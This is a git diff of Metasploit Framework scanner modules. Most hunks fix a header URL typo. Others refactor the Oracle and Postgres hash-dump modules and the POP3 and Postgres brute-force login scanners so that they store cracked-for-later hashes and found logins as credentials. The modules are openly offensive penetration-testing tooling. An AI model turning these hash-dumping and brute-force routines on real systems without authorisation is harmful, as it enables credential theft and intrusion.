a/modules/auxiliary/scanner/oracle/isqlplus_login.rb +++ b/modules/auxiliary/scanner/oracle/isqlplus_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb b/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb index 63aa966334..e3ba450180 100644 --- a/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb +++ b/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/oracle/oracle_hashdump.rb b/modules/auxiliary/scanner/oracle/oracle_hashdump.rb index d23f8d88a8..6f87a37847 100644 --- a/modules/auxiliary/scanner/oracle/oracle_hashdump.rb +++ b/modules/auxiliary/scanner/oracle/oracle_hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %Q{ This module dumps the usernames and password hashes from Oracle given the proper Credentials and SID. - These are then stored as loot for later cracking. + These are then stored as creds for later cracking. }, 'Author' => ['theLightCosine'], 'License' => MSF_LICENSE @@ -91,23 +91,47 @@ class Metasploit3 < Msf::Auxiliary return end print_status("Hash table :\n #{tbl}") - report_hashes(tbl.to_csv, is_11g, ip, this_service) + report_hashes(tbl, is_11g, ip, this_service) end - def report_hashes(hash_loot, is_11g, ip, service) + def report_hashes(table, is_11g, ip, service) #reports the hashes slightly differently depending on the version #This is so that we know which are which when we go to crack them if is_11g==false - filename= "#{ip}-#{datastore['RPORT']}_oraclehashes.txt" - store_loot("oracle.hashes", "text/plain", ip, hash_loot, filename, "Oracle Hashes", service) - print_status("Hash Table has been saved") + jtr_format = "des" else - filename= "#{ip}-#{datastore['RPORT']}_oracle11ghashes.txt" - store_loot("oracle11g.hashes", "text/plain", ip, hash_loot, filename, "Oracle 11g Hashes", service) - print_status("Hash Table has been saved") + jtr_format = "raw-sha1" end + service_data = { + address: Rex::Socket.getaddress(ip), + port: service[:port], + protocol: service[:proto], + service_name: service[:name], + workspace_id: myworkspace_id + } + + table.rows.each do |row| + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + username: row[0], + private_data: row[1], + private_type: :nonreplayable_hash, + jtr_format: jtr_format + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) + end + print_status("Hash Table has been saved") end diff --git a/modules/auxiliary/scanner/oracle/oracle_login.rb b/modules/auxiliary/scanner/oracle/oracle_login.rb index 84ad51fdb3..1f98486f44 100644 --- a/modules/auxiliary/scanner/oracle/oracle_login.rb +++ b/modules/auxiliary/scanner/oracle/oracle_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/oracle/sid_brute.rb b/modules/auxiliary/scanner/oracle/sid_brute.rb index 21a111fc92..99c9f4ab08 100644 --- a/modules/auxiliary/scanner/oracle/sid_brute.rb +++ b/modules/auxiliary/scanner/oracle/sid_brute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/oracle/sid_enum.rb b/modules/auxiliary/scanner/oracle/sid_enum.rb index 5ea72bfd74..7b24a42b36 100644 --- a/modules/auxiliary/scanner/oracle/sid_enum.rb +++ b/modules/auxiliary/scanner/oracle/sid_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/oracle/spy_sid.rb b/modules/auxiliary/scanner/oracle/spy_sid.rb index 7bfc799b26..3b740f7643 100644 --- a/modules/auxiliary/scanner/oracle/spy_sid.rb +++ b/modules/auxiliary/scanner/oracle/spy_sid.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/oracle/tnslsnr_version.rb b/modules/auxiliary/scanner/oracle/tnslsnr_version.rb index 1d503cb78e..3bd78c1437 100644 --- a/modules/auxiliary/scanner/oracle/tnslsnr_version.rb +++ b/modules/auxiliary/scanner/oracle/tnslsnr_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -41,15 +41,22 @@ class Metasploit3 < Msf::Auxiliary data = sock.get_once - if ( data and data =~ /\\*.TNSLSNR for (.*)/ ) + if ( data && data =~ /\\*.TNSLSNR for (.*)/ ) ora_version = data.match(/\\*.TNSLSNR for (.*)/)[1] report_service( - :host => ip, - :port => datastore['RPORT'], - :name => "oracle", - :info => ora_version + :host => ip, + :port => datastore['RPORT'], + :name => "oracle", + :info => ora_version ) print_good("#{ip}:#{datastore['RPORT']} Oracle - Version: " + ora_version) + elsif ( data && data =~ /\(ERR=(\d+)\)/ ) + case $1.to_i + when 1189 + print_error( "#{ip}:#{datastore['RPORT']} Oracle - Version: Unknown - Error code #{$1} - The listener could not authenticate the user") + else + print_error( "#{ip}:#{datastore['RPORT']} Oracle - Version: Unknown - Error code #{$1}") + end else print_error( "#{ip}:#{datastore['RPORT']} Oracle - Version: Unknown") end diff --git a/modules/auxiliary/scanner/oracle/xdb_sid.rb b/modules/auxiliary/scanner/oracle/xdb_sid.rb index 0857cb94b4..c07928617e 100644 --- a/modules/auxiliary/scanner/oracle/xdb_sid.rb +++ b/modules/auxiliary/scanner/oracle/xdb_sid.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb b/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb index cac758bf01..020e306af0 100644 --- a/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb +++ b/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb index 1629a553ef..c5f9bdc46e 100644 --- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb +++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb index d367bf82d1..ab83d9191d 100644 --- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb +++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb index d5943d38ff..693c294945 100644 --- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb +++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/pop3/pop3_login.rb b/modules/auxiliary/scanner/pop3/pop3_login.rb index fa04ff718a..173c1ab8b6 100644 --- a/modules/auxiliary/scanner/pop3/pop3_login.rb +++ b/modules/auxiliary/scanner/pop3/pop3_login.rb @@ -1,9 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'metasploit/framework/login_scanner/pop3' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary @@ -51,76 +53,60 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - begin - print_status("Connecting to #{target}") - each_user_pass do |user, pass| - do_login(user, pass) - end - end - rescue ::Rex::ConnectionError - rescue ::Exception => e - vprint_error("#{target} #{e.to_s} #{e.backtrace}") - end + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) - def pop3_send(data=nil, con=true) - begin - @result='' - @coderesult='' - if (con) - @connected=false - connect - select(nil,nil,nil,0.4) - end - @connected=true - sock.put(data) - @result=sock.get_once - rescue ::Exception => err - print_error("Error: #{err.to_s}") - end - end + cred_collection = prepend_db_passwords(cred_collection) - def do_login(user=nil,pass=nil) - begin - pop3_send(nil,true) # connect Only - if @result !~ /^\+OK (.*)/ - print_error("POP3 server does not appear to be running") - return :abort - end + scanner = Metasploit::Framework::LoginScanner::POP3.new( + host: ip, + port: rport, + ssl: datastore['SSL'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + ) - vprint_status("#{target} - Trying user:'#{user}' with password:'#{pass}'") - cmd = "USER #{user}\r\n" - pop3_send(cmd,!@connected) - if @result !~ /^\+OK (.*)/ - vprint_error("#{target} - Rejected user: '#{user}'") - return :fail - else - cmd = "PASS #{pass}\r\n" - pop3_send(cmd,!@connected) - if @result !~ /^\+OK (.*)/ - vprint_error("#{target} - Failed login for '#{user}' : '#{pass}'") - if (@connected) - disconnect # Some servers disconnect the client after wrongs attempts - @connected = false - end - return :fail - else - print_good("#{target} - SUCCESSFUL login for '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'pop3', - :user => user, - :pass => pass, - :source_type => "user_supplied", - :active => true - ) - disconnect - @connected = false - return :next_user + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + next + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect: #{result.proof}" + end + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', '#{result.proof.to_s.chomp}'" end end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE + + # If we got here, it didn't work + invalidate_login(credential_data) end end + + def service_name + datastore['SSL'] ? 'pop3s' : 'pop3' + end + + + end diff --git a/modules/auxiliary/scanner/pop3/pop3_version.rb b/modules/auxiliary/scanner/pop3/pop3_version.rb index 8a705907fc..754f5218b2 100644 --- a/modules/auxiliary/scanner/pop3/pop3_version.rb +++ b/modules/auxiliary/scanner/pop3/pop3_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/portscan/ack.rb b/modules/auxiliary/scanner/portscan/ack.rb index ad5b2a0b7b..955ae59b8d 100644 --- a/modules/auxiliary/scanner/portscan/ack.rb +++ b/modules/auxiliary/scanner/portscan/ack.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/portscan/ftpbounce.rb b/modules/auxiliary/scanner/portscan/ftpbounce.rb index 81aadece43..d84256ff30 100644 --- a/modules/auxiliary/scanner/portscan/ftpbounce.rb +++ b/modules/auxiliary/scanner/portscan/ftpbounce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary # on the response codes. We need to do this between every # port scan attempt unfortunately. while true - r = self.sock.get(0.25) + r = sock.get_once(-1, 0.25) break if not r or r.empty? end diff --git a/modules/auxiliary/scanner/portscan/syn.rb b/modules/auxiliary/scanner/portscan/syn.rb index b8f6a34c1e..e547ffd853 100644 --- a/modules/auxiliary/scanner/portscan/syn.rb +++ b/modules/auxiliary/scanner/portscan/syn.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/portscan/tcp.rb b/modules/auxiliary/scanner/portscan/tcp.rb index 87204f77c7..299c1210af 100644 --- a/modules/auxiliary/scanner/portscan/tcp.rb +++ b/modules/auxiliary/scanner/portscan/tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/portscan/xmas.rb b/modules/auxiliary/scanner/portscan/xmas.rb index 136e7941b2..642f507265 100644 --- a/modules/auxiliary/scanner/portscan/xmas.rb +++ b/modules/auxiliary/scanner/portscan/xmas.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb b/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb index 889d31bf5d..9e48bfc0ec 100644 --- a/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb +++ b/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/postgres/postgres_hashdump.rb b/modules/auxiliary/scanner/postgres/postgres_hashdump.rb index 93360ff4fb..d4e96ad630 100644 --- a/modules/auxiliary/scanner/postgres/postgres_hashdump.rb +++ b/modules/auxiliary/scanner/postgres/postgres_hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -35,12 +35,42 @@ class Metasploit3 < Msf::Auxiliary #Query the Postgres Shadow table for username and password hashes and report them res = postgres_query('SELECT usename, passwd FROM pg_shadow',false) + service_data = { + address: ip, + port: rport, + service_name: 'postgres', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: datastore['PASSWORD'], + private_type: :password, + username: datastore['USERNAME'], + realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE, + realm_value: datastore['DATABASE'] + } + + credential_data.merge!(service_data) + #Error handling routine here, borrowed heavily from todb case res.keys[0] when :conn_error print_error("A Connection Error occured") return when :sql_error + # We know the credentials worked but something else went wrong + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + create_credential_login(login_data) + case res[:sql_error] when /^C42501/ print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - Insufficient permissions." @@ -50,15 +80,19 @@ class Metasploit3 < Msf::Auxiliary return end when :complete + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + # We know the credentials worked and have admin access because we got the hashes + login_data[:access_level] = 'Admin' + create_credential_login(login_data) print_status("Query appears to have run successfully") end - this_service = report_service( - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :name => 'postgres', - :proto => 'tcp' - ) tbl = Rex::Ui::Text::Table.new( 'Header' => 'Postgres Server Hashes', @@ -66,6 +100,22 @@ class Metasploit3 < Msf::Auxiliary 'Columns' => ['Username', 'Hash'] ) + service_data = { + address: ::Rex::Socket.getaddress(rhost,true), + port: rport, + service_name: 'postgres', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + jtr_format: 'raw-md5,postgres', + module_fullname: self.fullname, + private_type: :nonreplayable_hash + } + + credential_data.merge!(service_data) res[:complete].rows.each do |row| @@ -73,23 +123,24 @@ class Metasploit3 < Msf::Auxiliary next if row[0].empty? or row[1].empty? password = row[1] password.slice!(0,3) + + credential_data[:username] = row[0] + credential_data[:private_data] = password + + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) + tbl << [row[0], password] end print_good("#{tbl.to_s}") - report_hash(tbl.to_csv,this_service) - end - #Reports the Stolen Hashes back to the Database for later cracking - def report_hash(hashtable,service) - filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_postgreshashes.txt" - path = store_loot("postgres.hashes", "text/plain", datastore['RHOST'], hashtable, filename, "Postgres Hashes",service) - print_status("Hash Table has been saved: #{path}") - - end - - end diff --git a/modules/auxiliary/scanner/postgres/postgres_login.rb b/modules/auxiliary/scanner/postgres/postgres_login.rb index 91bc0559cb..91c55da6cd 100644 --- a/modules/auxiliary/scanner/postgres/postgres_login.rb +++ b/modules/auxiliary/scanner/postgres/postgres_login.rb @@ -1,10 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' - +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/postgres' class Metasploit3 < Msf::Auxiliary @@ -33,6 +34,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ + Opt::Proxies, OptPath.new('USERPASS_FILE', [ false, "File containing (space-seperated) users and passwords, one pair per line", File.join(Msf::Config.data_directory, "wordlists", "postgres_default_userpass.txt") ]), OptPath.new('USER_FILE', [ false, "File containing users, one per line", @@ -48,11 +50,46 @@ class Metasploit3 < Msf::Auxiliary # Loops through each host in turn. Note the current IP address is both # ip and datastore['RHOST'] def run_host(ip) - each_user_pass { |user, pass| - datastore['USERNAME'] = user - datastore['PASSWORD'] = pass - do_login(user,pass) - } + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + realm: datastore['DATABASE'] + ) + + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::Postgres.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 30 + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end + end + end # Alias for RHOST @@ -65,66 +102,6 @@ class Metasploit3 < Msf::Auxiliary datastore['RPORT'] end - # Actually do all the login stuff. Note that "verbose" is really pretty - # verbose, since postgres_login also makes use of the verbose value - # to print diagnostics for other modules. - def do_login(user=nil,pass=nil) - database = datastore['DATABASE'] - begin - msg = "#{rhost}:#{rport} Postgres -" - vprint_status("#{msg} Trying username:'#{user}' with password:'#{pass}' on database '#{database}'") - # Here's where the actual connection happens. - result = postgres_login( - :db => database, - :username => user, - :password => pass - ) - case result - when :error_database - print_good("#{msg} Success: #{user}:#{pass} (Database '#{database}' failed.)") - do_report_auth_info(user,pass,database,false) - return :next_user # This is a success for user:pass! - when :error_credentials - vprint_error("#{msg} Username/Password failed.") - return :failed - when :connected - print_good("#{msg} Success: #{user}:#{pass} (Database '#{database}' succeeded.)") - do_report_auth_info(user,pass,database,true) - postgres_logout - return :next_user - when :error - vprint_error("#{msg} Unknown error encountered, giving up on host") - return :done - end - rescue Rex::ConnectionError - vprint_error "#{rhost}:#{rport} Connection Error: #{$!}" - return :done - end - end - # Report the service state - def do_report_postgres - report_service( - :host => rhost, - :port => rport, - :name => "postgres" - ) - end - - def do_report_auth_info(user,pass,db,db_ok) - do_report_postgres - - result_hash = { - :host => rhost, - :port => rport, - :sname => "postgres", - :user => user, - :pass => pass, - :source_type => "user_supplied", - :active => true - } - result_hash[:user] = "#{db}/#{user}" if db_ok - report_auth_info result_hash - end end diff --git a/modules/auxiliary/scanner/postgres/postgres_schemadump.rb b/modules/auxiliary/scanner/postgres/postgres_schemadump.rb index 927f3a17c7..bd5b42387b 100644 --- a/modules/auxiliary/scanner/postgres/postgres_schemadump.rb +++ b/modules/auxiliary/scanner/postgres/postgres_schemadump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/postgres/postgres_version.rb b/modules/auxiliary/scanner/postgres/postgres_version.rb index 210674f015..9a88580f19 100644 --- a/modules/auxiliary/scanner/postgres/postgres_version.rb +++ b/modules/auxiliary/scanner/postgres/postgres_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/printer/printer_download_file.rb b/modules/auxiliary/scanner/printer/printer_download_file.rb index 48838f6b1f..4c8b0e4e60 100644 --- a/modules/auxiliary/scanner/printer/printer_download_file.rb +++ b/modules/auxiliary/scanner/printer/printer_download_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/printer/printer_env_vars.rb b/modules/auxiliary/scanner/printer/printer_env_vars.rb index 0971d45aa3..c1546ccb66 100644 --- a/modules/auxiliary/scanner/printer/printer_env_vars.rb +++ b/modules/auxiliary/scanner/printer/printer_env_vars.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/printer/printer_list_dir.rb b/modules/auxiliary/scanner/printer/printer_list_dir.rb index 42966d0293..eb5ed4dc7c 100644 --- a/modules/auxiliary/scanner/printer/printer_list_dir.rb +++ b/modules/auxiliary/scanner/printer/printer_list_dir.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/printer/printer_list_volumes.rb b/modules/auxiliary/scanner/printer/printer_list_volumes.rb index a8c0fca859..d596504844 100644 --- a/modules/auxiliary/scanner/printer/printer_list_volumes.rb +++ b/modules/auxiliary/scanner/printer/printer_list_volumes.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/printer/printer_ready_message.rb b/modules/auxiliary/scanner/printer/printer_ready_message.rb index 28669215d0..610a1f6bb4 100644 --- a/modules/auxiliary/scanner/printer/printer_ready_message.rb +++ b/modules/auxiliary/scanner/printer/printer_ready_message.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -29,13 +29,17 @@ class Metasploit4 < Msf::Auxiliary "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] ], - "License" => MSF_LICENSE + "License" => MSF_LICENSE, + "Actions" => [ + ["Scan", "Description" => "Scan for ready messages"], + ["Change", "Description" => "Change ready message"], + ["Reset", "Description" => "Reset ready message"] + ], + "DefaultAction" => "Scan" )) register_options([ Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT), - OptBool.new("CHANGE", [false, "Change ready message", false]), - OptBool.new("RESET", [false, "Reset ready message if CHANGE", false]), OptString.new("MESSAGE", [false, "Ready message", "PC LOAD LETTER"]) ], self.class) end @@ -45,14 +49,11 @@ class Metasploit4 < Msf::Auxiliary pjl = Rex::Proto::PJL::Client.new(sock) pjl.begin_job - if datastore["CHANGE"] - if datastore["RESET"] - message = "" - else - message = datastore["MESSAGE"] - end - - pjl.set_rdymsg(message) + case action.name + when "Change" + pjl.set_rdymsg(datastore["MESSAGE"]) + when "Reset" + pjl.set_rdymsg("") end rdymsg = pjl.get_rdymsg diff --git a/modules/auxiliary/scanner/printer/printer_version_info.rb b/modules/auxiliary/scanner/printer/printer_version_info.rb index f1018fdf88..5171a46a3c 100644 --- a/modules/auxiliary/scanner/printer/printer_version_info.rb +++ b/modules/auxiliary/scanner/printer/printer_version_info.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -49,13 +49,13 @@ class Metasploit4 < Msf::Auxiliary if id print_good("#{ip}:#{rport} - #{id}") - report_service({ + report_service( :host => ip, :port => rport, :proto => "tcp", :name => "jetdirect", :info => id - }) + ) end end diff --git a/modules/auxiliary/scanner/rdp/ms12_020_check.rb b/modules/auxiliary/scanner/rdp/ms12_020_check.rb index 16b1c4e3d8..6e07a13bdc 100644 --- a/modules/auxiliary/scanner/rdp/ms12_020_check.rb +++ b/modules/auxiliary/scanner/rdp/ms12_020_check.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/rogue/rogue_recv.rb b/modules/auxiliary/scanner/rogue/rogue_recv.rb index cff6c6027b..40a125d4d5 100644 --- a/modules/auxiliary/scanner/rogue/rogue_recv.rb +++ b/modules/auxiliary/scanner/rogue/rogue_recv.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/rogue/rogue_send.rb b/modules/auxiliary/scanner/rogue/rogue_send.rb index 85c344872e..73b585bfdc 100644 --- a/modules/auxiliary/scanner/rogue/rogue_send.rb +++ b/modules/auxiliary/scanner/rogue/rogue_send.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/rservices/rexec_login.rb b/modules/auxiliary/scanner/rservices/rexec_login.rb index d2aa95a297..46846c8189 100644 --- a/modules/auxiliary/scanner/rservices/rexec_login.rb +++ b/modules/auxiliary/scanner/rservices/rexec_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/rservices/rlogin_login.rb b/modules/auxiliary/scanner/rservices/rlogin_login.rb index 22c1d75ab0..ca4b0f2585 100644 --- a/modules/auxiliary/scanner/rservices/rlogin_login.rb +++ b/modules/auxiliary/scanner/rservices/rlogin_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/rservices/rsh_login.rb b/modules/auxiliary/scanner/rservices/rsh_login.rb index b6fa2c2259..ba01be2362 